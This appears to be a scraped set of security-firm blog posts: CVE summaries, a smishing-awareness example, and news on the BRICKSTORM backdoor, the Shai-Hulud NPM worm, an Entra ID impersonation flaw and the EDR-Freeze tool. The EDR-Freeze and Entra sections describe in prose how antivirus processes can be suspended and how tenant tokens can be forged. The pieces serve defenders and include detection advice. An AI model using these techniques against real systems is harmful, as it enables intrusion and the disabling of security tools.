This vulnerability has been assigned a CVSS v3 base score of 7.7 with a vector of AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H, reflecting its high impact on availability and potential for privilege escalation when combined with high-level credentials. Cisco acknowledged that exploits were already active in the wild at the time of disclosure in September 2025, with millions of routers and switches potentially exposed. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has urged organizations to apply Cisco’s security updates immediately, as successful exploitation could either cripple network availability through repeated reboots or allow takeover of critical infrastructure systems. Cisco’s advisory provides the patched releases and mitigations, and organizations running IOS or IOS XE should prioritize updates without delay to reduce the risk of both denial-of-service and full system compromise.
CVE-2025-10035
CVE-2025-10035 is a critical deserialization vulnerability discovered in the License Servlet of Fortra’s GoAnywhere Managed File Transfer (MFT). The issue arises from the way the application handles license validation responses. An attacker who can forge a valid license response signature is able to feed the servlet with arbitrary, attacker-controlled objects. This unsafe deserialization pathway can be exploited to achieve command injection on the affected system, granting the attacker the ability to execute arbitrary code. Because the attack is carried out over the network and does not require prior authentication, it poses an especially high risk to exposed GoAnywhere MFT deployments.
The attack vector centers on the forged license response. By manipulating the serialized data contained within the response, the adversary can cause the server to interpret crafted objects as trusted inputs. Once deserialized, these malicious objects enable execution of arbitrary commands with the privileges available to the GoAnywhere MFT process. Since GoAnywhere is often deployed as a mission-critical platform for secure file transfers across enterprise and government environments, the consequences of successful exploitation extend far beyond the compromise of a single server. Attackers could use this flaw to gain persistence, steal sensitive data in transit, or pivot deeper into corporate networks.
This vulnerability has been assigned the maximum CVSS v3 base score of 10.0 with a vector of AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, reflecting its low complexity, lack of prerequisites, and full impact on confidentiality, integrity, and availability. The CVSS v2 base score is also rated at 10.0, underscoring the severity of the flaw. Published on September 19, 2025, the issue was quickly classified as a vulnerability of interest by Tenable and has an Exploit Prediction Scoring System (EPSS) rating of 0.00231, signaling active monitoring of exploitation potential. Given the history of GoAnywhere being targeted in high-profile attacks, organizations running vulnerable versions should immediately apply the latest vendor patches or mitigations. More details and technical analysis are provided in the advisory and exploit breakdown published by WatchTowr Labs, which highlighted real-world exploitation scenarios for this bug.
CVE-2025-10585
CVE-2025-10585 is a high-severity vulnerability in Google Chrome’s V8 JavaScript engine. The flaw stems from a type confusion issue, which occurs when V8 misinterprets the type of an object during execution. In this case, the vulnerability allowed a crafted HTML page to trigger heap corruption, potentially leading to remote code execution. Google rated the issue as “High” under Chromium’s severity scale, but its real-world risk is elevated by the fact that it was exploited as a zero-day in active attacks before being patched.
The vulnerability was fixed in Chrome version 140.0.7339.185, released in mid-September 2025. This release was pushed as an emergency update after reports of in-the-wild exploitation. The attack surface is broad since exploitation requires nothing more than convincing a victim to visit a malicious or compromised webpage. Attackers were observed using this flaw as part of targeted campaigns, and it was quickly added to CISA’s Known Exploited Vulnerabilities (KEV) catalog, mandating patching across federal civilian agencies.
From a scoring standpoint, the flaw carries a CVSS v3 base score of 8.8 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H), reflecting its network accessibility, low attack complexity, and high potential impact across confidentiality, integrity, and availability. CVSS v2 rated it even higher, with a critical score of 10. Given Chrome’s dominance as a browser, this vulnerability represents a significant target for threat actors—especially those relying on drive-by-download or watering hole campaigns.
Security researchers have pointed out that this was the sixth actively exploited Chrome zero-day patched by Google in 2025, underscoring the sustained targeting of browser vulnerabilities. Organizations are strongly advised to verify their endpoints are running Chrome 140.0.7339.185 or later and to ensure automatic updates are enabled. Since this flaw affects V8, other Chromium-based browsers like Microsoft Edge and Brave may also require updates to stay protected.
CVE-2025-53691
CVE-2025-53691 describes a high-severity deserialization of untrusted data vulnerability in Sitecore’s Experience Manager (XM) and Experience Platform (XP). The flaw exists in multiple supported versions—XM from 9.0 through 9.3 and 10.0 through 10.4, as well as XP across the same ranges. An attacker with limited privileges over the network could exploit the deserialization process to execute arbitrary code on the affected server, escalating their access and potentially taking full control of the Sitecore environment.
The risk posed by this vulnerability is significant given how widely Sitecore is used for enterprise content management and digital experience delivery. Exploitation could enable attackers to manipulate business-critical data, compromise sensitive information, and pivot to additional systems integrated with the platform. Researchers at WatchTowr Labs demonstrated how cache poisoning could be used as an entry point to trigger the deserialization pathway, chaining it into remote code execution. This highlights not only the technical severity of the bug but also how attackers can pair it with creative attack vectors to achieve a deeper compromise.
According to the National Vulnerability Database (NVD), CVE-2025-53691 carries a CVSS v3 base score of 8.8 (vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H), placing it firmly in the high-risk category. The older CVSS v2 rating is even higher at 9.0, with an attack vector requiring only network access and low complexity. The Exploit Prediction Scoring System (EPSS) currently sits at 0.0028, suggesting limited but possible exploitation attempts are being tracked. While public exploit availability has not yet been confirmed, advisories and research articles emphasize the urgency of applying the vendor patches. Sitecore has published security guidance in its knowledge base (KB1003667), urging customers to upgrade to patched versions to prevent compromise.
CVE-2025-4428
CVE-2025-4428 is a high-severity vulnerability in Ivanti Endpoint Manager Mobile (EPMM) up to version 12.5.0.0. The flaw lies in the API component, where crafted API requests allow an authenticated attacker to execute arbitrary code remotely. Because exploitation requires only valid credentials with limited privileges, the barrier to entry for attackers is relatively low once they achieve access. The vulnerability has been added to CISA’s Known Exploited Vulnerabilities (KEV) catalog, confirming its use in real-world intrusions.
Reports from CISA and several security researchers show that this vulnerability has been actively leveraged by advanced persistent threat (APT) groups, including China-linked operators such as UNC5221. Attackers chained CVE-2025-4428 with other Ivanti flaws like CVE-2025-4427 in multi-step compromises of government agencies and enterprises across the U.S. and Europe. Once exploited, adversaries deployed custom malware kits—referred to in analysis reports as BadSuccessor—to maintain persistence, exfiltrate data, and facilitate further lateral movement. The vulnerability has proven to be especially dangerous when combined with Ivanti’s role in managing mobile and endpoint access for large organizations, giving attackers deep footholds into sensitive infrastructure.
From a risk perspective, the vulnerability carries a CVSS v3 score of 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) and an EPSS rating of 0.37092, which is notably high, indicating a substantial likelihood of exploitation. The scope of the impact spans confidentiality, integrity, and availability—meaning successful attacks can lead to full compromise of affected systems. For defenders, mitigations require upgrading to patched versions of EPMM and reviewing all API-related access logs for indicators of suspicious behavior. Given the consistent exploitation of Ivanti flaws across 2023–2025, organizations running Ivanti EPMM should treat this as a priority patching issue and also consider applying compensating controls like strict API request monitoring and additional authentication layers where possible.
How Can Netizen Help?
Netizen ensures that security gets built-in and not bolted-on. Providing advanced solutions to protect critical IT infrastructure such as the popular “CISO-as-a-Service” wherein companies can leverage the expertise of executive-level cybersecurity professionals without having to bear the cost of employing them full time.
We also offer compliance support, vulnerability assessments, penetration testing, and more security-related services for businesses of any size and type.
Additionally, Netizen offers an automated and affordable assessment tool that continuously scans systems, websites, applications, and networks to uncover issues. Vulnerability data is then securely analyzed and presented through an easy-to-interpret dashboard to yield actionable risk and compliance information for audiences ranging from IT professionals to executive managers.
Netizen is an ISO 27001:2013 (Information Security Management), ISO 9001:2015, and CMMI V 2.0 Level 3 certified company. We are a proud Service-Disabled Veteran-Owned Small Business that is recognized by the U.S. Department of Labor for hiring and retention of military veterans.
Looking for expert guidance to secure, automate, and streamline your IT infrastructure and operations? Start the conversation today.
UNC5221 Deploys BRICKSTORM Backdoor Against U.S. Legal and Technology Sectors
Shai-Hulud Worm Compromises 180+ NPM Packages
How can Netizen help?
Phish Tale of the Week
Often times phishing campaigns, created by malicious actors, target users by utilizing social engineering. For example, in this email, the actors are appearing as Coinbase. They’re sending us a text message, telling us that our Coinbase account was logged into, and we need to call support if it wasn’t us. It seems both urgent and genuine, so why shouldn’t we? Luckily, there’s plenty of reasons that point to this being a scam.
Here’s how we can tell not to call this number:
The first warning sign for this SMS is the context in which it was sent. When I recieved this SMS, I immediately knew not to click on the link due to the fact that I do not have a Coinbase account. On top of that, it’s very apparent that this message was blasted out to random numbers: the message doesn’t even include my name or attempt to provide any level of familiarity.
The second warning signs in this email is the messaging. This message tries to create a sense of urgency in order to get you to take action by using language such as “If this was not you.” Phishing and smishing scams commonly attempt to create a sense of urgency/confusion in their messages in order to get you to click their link without thinking about it first. Always be sure to thoroughly inspect the style and tone of all texts before following a link or other attachment sent through SMS.
The final warning sign for this email is the wording; in our case the smisher suggests we call a random number, something that Coinbase support would never do. All of these factors point to the above being a smishing text, and a very unsophisticated one at that.
General Recommendations:
A smishing attack will typically direct the user to click on a link where they will then be prompted to update personal information, such as a password, credit card, social security, or bank account information. A legitimate company already has this sensitive information and would not ask for it again, especially via your text messages.
Scrutinize your messages before clicking anything. Have you ordered anything recently? Does this order number match the one I already have? Did the message come from a store you don’t usually order supplies from or a service you don’t use? If so, it’s probably a phishing attempt.
Verify that the sender is actually from the company sending the message.
Did you receive a message from someone you don’t recognize? Are they asking you to sign into a website to give Personally Identifiable Information (PII) such as credit card numbers, social security number, etc. A legitimate company will never ask for PII via instant message or email.
Do not give out personal or company information over the internet.
Do not click on unrecognized links or attachments. If you do proceed, verify that the URL is the correct one for the company/service and it has the proper security in place, such as HTTPS.
Many smishing messages pose a sense of urgency or even aggressiveness to prompt a form of intimidation. Any SMS requesting immediate action should be vetted thoroughly to determine whether or not it is a scam. Also, beware of messages that seek to tempt users into opening an attachment or visiting a link. For example, “Fix your account now” may draw the question “What is wrong with my account?” and prompt you to click a suspicious link.
Cybersecurity Brief
In this month’s Cybersecurity Brief:
UNC5221 Deploys BRICKSTORM Backdoor Against U.S. Legal and Technology Sectors
A newly detailed cyber-espionage campaign is drawing attention for its persistence and precision. Mandiant and Google’s Threat Intelligence Group (GTIG) have attributed recent intrusions in the United States to UNC5221, a China-aligned threat actor deploying the BRICKSTORM backdoor. The group has been active across multiple high-value industries, including legal services, business process outsourcing firms, technology companies, and SaaS providers, with activity stretching back more than a year.
At the heart of the campaign is BRICKSTORM, a Go-based backdoor engineered to establish covert access and resist detection. Once deployed, it can masquerade as a web server, manipulate the file system, transfer data, execute arbitrary shell commands, and even act as a SOCKS relay to tunnel traffic. Communication with command-and-control servers is carried out over WebSockets, helping the malware blend into ordinary network behavior. In some cases, newer variants have included a “delay” feature, waiting months before contacting their operators to avoid being discovered during initial remediation efforts.
UNC5221 has paired BRICKSTORM with other stealth tools, most notably BRICKSTEAL, a malicious Apache Tomcat filter designed to capture vCenter credentials. Unlike traditional deployments, which require configuration changes and service restarts, this filter was injected directly in memory through a custom dropper. This approach eliminates the need for restarts, reduces visibility, and demonstrates the group’s emphasis on stealth. Another component, a JSP web shell known as SLAYSTYLE or BEEFLUSH, provides a means of executing operating system commands delivered through simple HTTP requests. These capabilities highlight the group’s preference for living quietly within environments rather than deploying noisy, off-the-shelf malware.
Persistence has been a recurring theme in these intrusions. Investigators have observed modifications to startup files such as init.d, rc.local, and systemd services on compromised appliances, ensuring BRICKSTORM survives reboots. On VMware infrastructure, UNC5221 has gone further by cloning Windows Server virtual machines tied to critical systems like domain controllers and identity providers, giving them an alternate path back in even if initial access is cut off. This long-haul approach has translated into dwell times averaging 393 days, underscoring how effective their operational security has been.
The targeting patterns fit within established Chinese cyber-espionage objectives. Legal firms and technology companies hold sensitive information tied to national security and trade, while SaaS providers act as gateways into downstream customer environments. By compromising administrators, developers, and technical staff, UNC5221 gains access to not only valuable communications but also the infrastructure needed to conduct research into new zero-day vulnerabilities. This dual motive, espionage and cyber capability development, represents a serious threat to both national and commercial interests.
Detection has proven difficult because many of the appliances and systems compromised do not support traditional endpoint detection and response tooling. That gap has left defenders struggling to spot lateral movement or credential theft until long after the damage has been done. Google has since released a shell script scanner to help organizations check Linux and BSD appliances for BRICKSTORM indicators, but the campaign illustrates just how much of today’s enterprise environment exists outside standard monitoring tools.
Charles Carmakal, CTO of Mandiant Consulting, summed up the challenge by pointing out that access gained by UNC5221 allows them to pivot into downstream customer networks and potentially discover exploitable flaws in enterprise technologies. The ability to remain in place for over a year, while quietly stealing data and expanding access, highlights just how sophisticated and determined these operators are.
For defenders, the message is clear. Security visibility cannot stop at endpoints alone. Infrastructure such as VPN appliances, VMware environments, and SaaS integrations must be subject to the same level of scrutiny as workstations and servers. Credential hygiene, startup script audits, and continuous hunting for stealthy backdoors are becoming necessary steps in responding to advanced campaigns of this nature. The BRICKSTORM activity shows that highly skilled adversaries will continue exploiting blind spots in enterprise monitoring, and the cost of overlooking these areas is long-term undetected compromise.and PCoIP profiles.
A new malware outbreak has shaken the open-source ecosystem, with security researchers warning that more than 187 JavaScript packages on the NPM registry were infected by a fast-moving, self-replicating worm. The malware, dubbed Shai-Hulud after the giant sandworms in Frank Herbert’s Dune, has been stealing developer credentials and publishing them to public GitHub repositories.
The worm is unusual in both its aggressiveness and its propagation method. Every time a developer installs an infected package, the malware hunts for NPM authentication tokens stored in the environment. If it finds them, Shai-Hulud modifies the 20 most popular packages tied to that token, implants itself into their code, and pushes a new version of those libraries to NPM. The result is a chain reaction: one infected package leads to dozens of others being compromised, creating the potential for exponential growth.
The outbreak is the latest in a string of incidents affecting NPM, which acts as a critical hub for the global JavaScript ecosystem. Just weeks earlier, phishing campaigns spoofing NPM logins attempted to trick developers into updating their multi-factor authentication settings, while another breach involving the “nx” toolkit planted malware that stole authentication tokens. That attack did not self-propagate, but it foreshadowed the worm-like mechanics of Shai-Hulud.
Researchers at Aikido and StepSecurity found that the worm uses the open-source tool TruffleHog to scan for additional secrets on infected machines, including credentials for GitHub, AWS, Azure, and Google Cloud. The malware then publishes those secrets in newly created GitHub repositories marked with “Shai-Hulud,” where the information is exposed to anyone who stumbles across it.
The worm targets Linux and macOS environments but deliberately skips Windows systems. This focus on developer platforms reflects its intent: compromise the ecosystem at the source, rather than the end users.
Among the victims were several NPM packages associated with CrowdStrike, a leading security vendor. Security platform Socket.dev reported that at least 25 of CrowdStrike’s open-source packages were briefly compromised. CrowdStrike confirmed the intrusion but stressed that its Falcon endpoint detection platform was unaffected. The company said it quickly removed the malicious packages, rotated keys in public registries, and launched an investigation alongside NPM.
Charlie Eriksen of Aikido described the worm as behaving almost like a biological virus. “Once the first person got compromised, there was no stopping it,” he said. “I still see package versions popping up once in a while, but no new packages have been compromised in the last several hours. That could change quickly if another developer inadvertently triggers the spread.”
The worm’s infrastructure appears to have been partially disrupted—researchers noted that the attacker’s data exfiltration endpoint was throttled by rate limits. Still, the worm’s ability to replicate autonomously means the risk of resurgence remains high, especially if “super-spreader” developers with access to widely used packages are compromised.
Experts say the attack shows a great structural weakness in open-source package repositories. Nicholas Weaver of the International Computer Science Institute described it as “a supply chain attack that conducts a supply chain attack.” Weaver urged NPM and similar registries to enforce stricter publishing controls, particularly the use of phish-resistant two-factor authentication for every publication request.
“Allowing automated systems to publish code updates without explicit human verification has become a proven recipe for disaster,” Weaver said. He warned that without systemic changes, attacks like Shai-Hulud will only grow more frequent and disruptive.
Founded in 2013, Netizen is an award-winning technology firm that develops and leverages cutting-edge solutions to create a more secure, integrated, and automated digital environment for government, defense, and commercial clients worldwide. Our innovative solutions transform complex cybersecurity and technology challenges into strategic advantages by delivering mission-critical capabilities that safeguard and optimize clients’ digital infrastructure. One example of this is our popular “CISO-as-a-Service” offering that enables organizations of any size to access executive level cybersecurity expertise at a fraction of the cost of hiring internally.
Netizen also operates a state-of-the-art 24x7x365 Security Operations Center (SOC) that delivers comprehensive cybersecurity monitoring solutions for defense, government, and commercial clients. Our service portfolio includes cybersecurity assessments and advisory, hosted SIEM and EDR/XDR solutions, software assurance, penetration testing, cybersecurity engineering, and compliance audit support. We specialize in serving organizations that operate within some of the world’s most highly sensitive and tightly regulated environments where unwavering security, strict compliance, technical excellence, and operational maturity are non-negotiable requirements. Our proven track record in these domains positions us as the premier trusted partner for organizations where technology reliability and security cannot be compromised.
Netizen holds ISO 27001, ISO 9001, ISO 20000-1, and CMMI Level III SVC registrations demonstrating the maturity of our operations. We are a proud Service-Disabled Veteran-Owned Small Business (SDVOSB) certified by U.S. Small Business Administration (SBA) that has been named multiple times to the Inc. 5000 and Vet 100 lists of the most successful and fastest-growing private companies in the nation. Netizen has also been named a national “Best Workplace” by Inc. Magazine, a multiple awardee of the U.S. Department of Labor HIRE Vets Platinum Medallion for veteran hiring and retention, the Lehigh Valley Business of the Year and Veteran-Owned Business of the Year, and the recipient of dozens of other awards and accolades for innovation, community support, working environment, and growth.
Looking for expert guidance to secure, automate, and streamline your IT infrastructure and operations? Start the conversation today.
Microsoft Patches Critical Entra ID Flaw Enabling Global Admin Impersonation Across Tenants
EDR-Freeze: New Tool Exploits Windows Error Reporting to Suspend Antivirus and EDR
How can Netizen help?
Microsoft Patches Critical Entra ID Flaw Enabling Global Admin Impersonation Across Tenants
Microsoft has patched a critical vulnerability in Entra ID (formerly Azure Active Directory) that could have allowed attackers to impersonate any user, including Global Administrators, across all tenants worldwide.
The flaw, tracked as CVE-2025-55241, received the maximum CVSS score of 10.0. Security researcher Dirk-jan Mollema reported the issue on July 14, 2025. It was patched by Microsoft on July 17, with the company noting that there is no evidence of active exploitation and no customer action required.
The issue stemmed from the use of legacy actor tokens issued by the Access Control Service (ACS) in combination with a validation failure in the deprecated Azure AD Graph API (graph.windows.net). Because the API did not properly validate the tenant source of tokens, attackers could create tokens in their own environments and use them to impersonate Global Administrators in other tenants.
Once in place, an attacker could access Entra ID user information, group and role assignments, application permissions, tenant settings, and even device information and BitLocker keys. The lack of API-level logging meant exploitation could take place without leaving a trace.
The impersonation of a Global Administrator could have resulted in complete compromise of an Entra tenant. Attackers could create new accounts, grant themselves permissions across Azure subscriptions, exfiltrate sensitive data from services such as SharePoint Online and Exchange Online, and bypass security controls like multi-factor authentication and Conditional Access. Cloud security firm Mitiga noted that the flaw effectively allowed for a silent full-tenant compromise.
Microsoft classified the flaw as an instance of high-privileged access, where an application or service can impersonate users without proof of user context. The company reminded customers that the Azure AD Graph API was officially retired on August 31, 2025, and urged all applications to migrate to Microsoft Graph. Applications that continue relying on the legacy API will stop functioning after early September 2025.
The Entra ID flaw comes amid a wave of cloud security incidents and disclosures. Recent findings have included OAuth misconfigurations in Entra ID, OneDrive Known Folder Move exploitation, the exposure of Azure AD application credentials in appsettings.json files, and cross-tenant API connection abuse in Azure Resource Manager. Other reports have shown how misconfigurations in AWS and Azure identity systems allow attackers to persist in cloud environments without deploying malware, simply by abusing trust policies, temporary credentials, or misconfigured IAM roles.
Although the patch is already in place, CVE-2025-55241 highlights how legacy systems can undermine cloud security at scale. Organizations should review their applications for dependencies on deprecated APIs, monitor token usage closely, and ensure that third-party and internal applications are aligned with modern identity services. Regular audits of cloud configurations and service dependencies remain an important part of reducing exposure, particularly as attackers continue to focus on identity systems as the most direct route to compromise.
EDR-Freeze: New Tool Exploits Windows Error Reporting to Suspend Antivirus and EDR
A researcher posting under the handle Zero Salarium has released details of a proof-of-concept tool called EDR-Freeze, which can suspend Endpoint Detection and Response (EDR) and antivirus processes, effectively putting them into a coma state without crashing the system.
The technique does not rely on the common Bring Your Own Vulnerable Driver (BYOVD) approach, which requires attackers to install and execute third-party drivers. Instead, EDR-Freeze abuses a feature already present in Windows: the MiniDumpWriteDump function used by the Windows Error Reporting service.
MiniDumpWriteDump is designed to create a snapshot of a process for debugging purposes. To ensure consistency, it suspends all threads in the target process while the dump is written. Zero Salarium’s approach turns that behavior into an advantage: by forcing a race condition during the dump, the target process can be left suspended indefinitely.
The method uses WerFaultSecure.exe, a Windows component that runs with Protected Process Light (PPL) protection at the WinTCB level, to trigger MiniDumpWriteDump against security processes. By suspending WerFaultSecure at the precise moment it suspends the target, the victim process remains frozen without being resumed.
The tool also takes advantage of the ability to run WerFaultSecure with elevated protection using CreateProcessAsPPL, while OpenProcess with PROCESS_SUSPEND_RESUME privilege and the undocumented NtSuspendProcess API are used to suspend and manage processes.
EDR-Freeze automates the sequence of actions required to put a target process into a coma state. It requires two parameters: the process ID (PID) of the target program and the duration for which it should be suspended.
In a proof-of-concept demonstration, the researcher successfully suspended MsMpEng.exe, the Windows Defender antimalware process, for several seconds on Windows 11 24H2. During that time, monitoring and detection functions were paused, allowing potential high-risk actions to occur without interruption.
This research highlights a different approach from the increasingly common BYOVD attacks. BYOVD requires shipping and loading vulnerable drivers, which creates instability and leaves more forensic traces. By contrast, EDR-Freeze exploits functionality already built into Windows, making the attack surface harder to eliminate.
For defenders, the key detection opportunity is in WerFaultSecure execution parameters. If the service is observed targeting critical processes such as LSASS, antivirus engines, or EDR agents, it should be treated as highly suspicious and investigated immediately.
EDR-Freeze is currently positioned as a red team and research tool, but it underscores how attackers continue to look for creative ways to blind or disable security tools without crashing systems. Monitoring process creation events involving WerFaultSecure, CreateProcessAsPPL, and unusual use of PROCESS_SUSPEND_RESUME privileges will be critical for detection.
How Can Netizen Help?
Founded in 2013, Netizen is an award-winning technology firm that develops and leverages cutting-edge solutions to create a more secure, integrated, and automated digital environment for government, defense, and commercial clients worldwide. Our innovative solutions transform complex cybersecurity and technology challenges into strategic advantages by delivering mission-critical capabilities that safeguard and optimize clients’ digital infrastructure. One example of this is our popular “CISO-as-a-Service” offering that enables organizations of any size to access executive level cybersecurity expertise at a fraction of the cost of hiring internally.
Netizen also operates a state-of-the-art 24x7x365 Security Operations Center (SOC) that delivers comprehensive cybersecurity monitoring solutions for defense, government, and commercial clients. Our service portfolio includes cybersecurity assessments and advisory, hosted SIEM and EDR/XDR solutions, software assurance, penetration testing, cybersecurity engineering, and compliance audit support. We specialize in serving organizations that operate within some of the world’s most highly sensitive and tightly regulated environments where unwavering security, strict compliance, technical excellence, and operational maturity are non-negotiable requirements. Our proven track record in these domains positions us as the premier trusted partner for organizations where technology reliability and security cannot be compromised.
Netizen holds ISO 27001, ISO 9001, ISO 20000-1, and CMMI Level III SVC registrations demonstrating the maturity of our operations. We are a proud Service-Disabled Veteran-Owned Small Business (SDVOSB) certified by U.S. Small Business Administration (SBA) that has been named multiple times to the Inc. 5000 and Vet 100 lists of the most successful and fastest-growing private companies in the nation. Netizen has also been named a national “Best Workplace” by Inc. Magazine, a multiple awardee of the U.S. Department of Labor HIRE Vets Platinum Medallion for veteran hiring and retention, the Lehigh Valley Business of the Year and Veteran-Owned Business of the Year, and the recipient of dozens of other awards and accolades for innovation, community support, working environment, and growth.
Looking for expert guidance to secure, automate, and streamline your IT infrastructure and operations? Start the conversation today.
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